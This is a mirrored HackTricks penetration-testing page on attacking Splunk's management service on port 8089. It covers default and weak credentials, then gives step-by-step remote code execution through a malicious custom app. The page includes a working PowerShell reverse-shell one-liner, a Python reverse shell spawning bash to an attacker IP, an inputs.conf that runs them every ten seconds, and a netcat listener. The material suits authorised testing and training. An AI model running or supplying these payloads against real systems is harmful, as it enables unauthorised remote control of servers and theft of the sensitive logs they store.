mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
152 lines
8.3 KiB
Markdown
152 lines
8.3 KiB
Markdown
# 8089 - Pentesting Splunkd
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **Basic Information**
|
||
|
||
Splunk is a **log analytics tool** that plays a crucial role in **gathering, analyzing, and visualizing data**. While its initial purpose was not to serve as a **SIEM (Security Information and Event Management)** tool, it has gained popularity in the realm of **security monitoring** and **business analytics**.
|
||
|
||
Splunk deployments are frequently utilized to store **sensitive data** and can serve as a **valuable source of information** for potential attackers if they manage to compromise the system. **Default port:** 8089
|
||
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
8089/tcp open http Splunkd httpd
|
||
```
|
||
|
||
{% hint style="info" %}
|
||
The **Splunk web server runs by default on port 8000**.
|
||
{% endhint %}
|
||
|
||
## Enumeration
|
||
|
||
### Free Version
|
||
|
||
The Splunk Enterprise trial converts to a **free version after 60 days**, which **doesn’t require authentication**. It is not uncommon for system administrators to install a trial of Splunk to test it out, which is **subsequently forgotten about**. This will automatically convert to the free version that does not have any form of authentication, introducing a security hole in the environment. Some organizations may opt for the free version due to budget constraints, not fully understanding the implications of having no user/role management.
|
||
|
||
### Default Credentials
|
||
|
||
On older versions of Splunk, the default credentials are **`admin:changeme`**, which are conveniently displayed on the login page.\
|
||
However, **the latest version of Splunk** sets **credentials** **during the installation process**. If the default credentials do not work, it is worth checking for common weak passwords such as `admin`, `Welcome`, `Welcome1`, `Password123`, etc.
|
||
|
||
### Obtain Information
|
||
|
||
Once logged in to Splunk, we can **browse data,** run **reports**, create **dashboards**, **install applications** from the Splunkbase library, and install custom applications.\
|
||
You can also run code: Splunk has multiple ways of **running code**, such as server-side Django applications, REST endpoints, scripted inputs, and alerting scripts. A common method of gaining remote code execution on a Splunk server is through the use of a scripted input.
|
||
|
||
Moreover, as Splunk can be installed on Windows or Linux hosts, scripted inputs can be created to run Bash, PowerShell, or Batch scripts.
|
||
|
||
### Shodan
|
||
|
||
* `Splunk build`
|
||
|
||
## RCE
|
||
|
||
### Create Custom Application
|
||
|
||
A custom application can run **Python, Batch, Bash, or PowerShell scripts**.\
|
||
Note that **Splunk comes with Python installed**, so even in **Windows** systems you will be able to run python code.
|
||
|
||
You can use [**this**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk package to assist us. The **`bin`** directory in this repo has examples for [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) and [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Let's walk through this step-by-step.
|
||
|
||
To achieve this, we first need to create a custom Splunk application using the following directory structure:
|
||
|
||
```shell-session
|
||
tree splunk_shell/
|
||
|
||
splunk_shell/
|
||
├── bin
|
||
└── default
|
||
```
|
||
|
||
The **`bin`** directory will contain any **scripts that we intend to run** (in this case, a **PowerShell** reverse shell), and the default directory will have our `inputs.conf` file. Our reverse shell will be a **PowerShell one-liner:**
|
||
|
||
```powershell
|
||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
||
```
|
||
|
||
The [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) file tells Splunk **which script to run** and any other conditions. Here we set the app as enabled and tell Splunk to run the script every 10 seconds. The interval is always in seconds, and the input (script) will only run if this setting is present.
|
||
|
||
```shell-session
|
||
cat inputs.conf
|
||
|
||
[script://./bin/rev.py]
|
||
disabled = 0
|
||
interval = 10
|
||
sourcetype = shell
|
||
|
||
[script://.\bin\run.bat]
|
||
disabled = 0
|
||
sourcetype = shell
|
||
interval = 10
|
||
```
|
||
|
||
We need the `.bat` file, which will run when the application is deployed and execute the PowerShell one-liner.
|
||
|
||
The next step is to choose `Install app from file` and upload the application.
|
||
|
||
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Before uploading the malicious custom app, let's start a listener using Netcat or [socat](https://linux.die.net/man/1/socat).
|
||
|
||
```shell-session
|
||
sudo nc -lnvp 443
|
||
|
||
listening on [any] 443 ...
|
||
```
|
||
|
||
On the `Upload app` page, click on browse, choose the tarball we created earlier and click `Upload`. As **soon as we upload the application**, a **reverse shell is received** as the status of the application will automatically be switched to `Enabled`.
|
||
|
||
#### Linux
|
||
|
||
If we were dealing with a **Linux host**, we would need to **edit the `rev.py` Python script** before creating the tarball and uploading the custom malicious app. The rest of the process would be the same, and we would get a reverse shell connection on our Netcat listener and be off to the races.
|
||
|
||
```python
|
||
import sys,socket,os,pty
|
||
|
||
ip="10.10.14.15"
|
||
port="443"
|
||
s=socket.socket()
|
||
s.connect((ip,int(port)))
|
||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||
pty.spawn('/bin/bash')
|
||
```
|
||
|
||
### RCE & Privilege Escalation
|
||
|
||
In the following page you can find an explanation how this service can be abused to escalate privileges and obtain persistence:
|
||
|
||
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
||
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||
{% endcontent-ref %}
|
||
|
||
## References
|
||
|
||
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|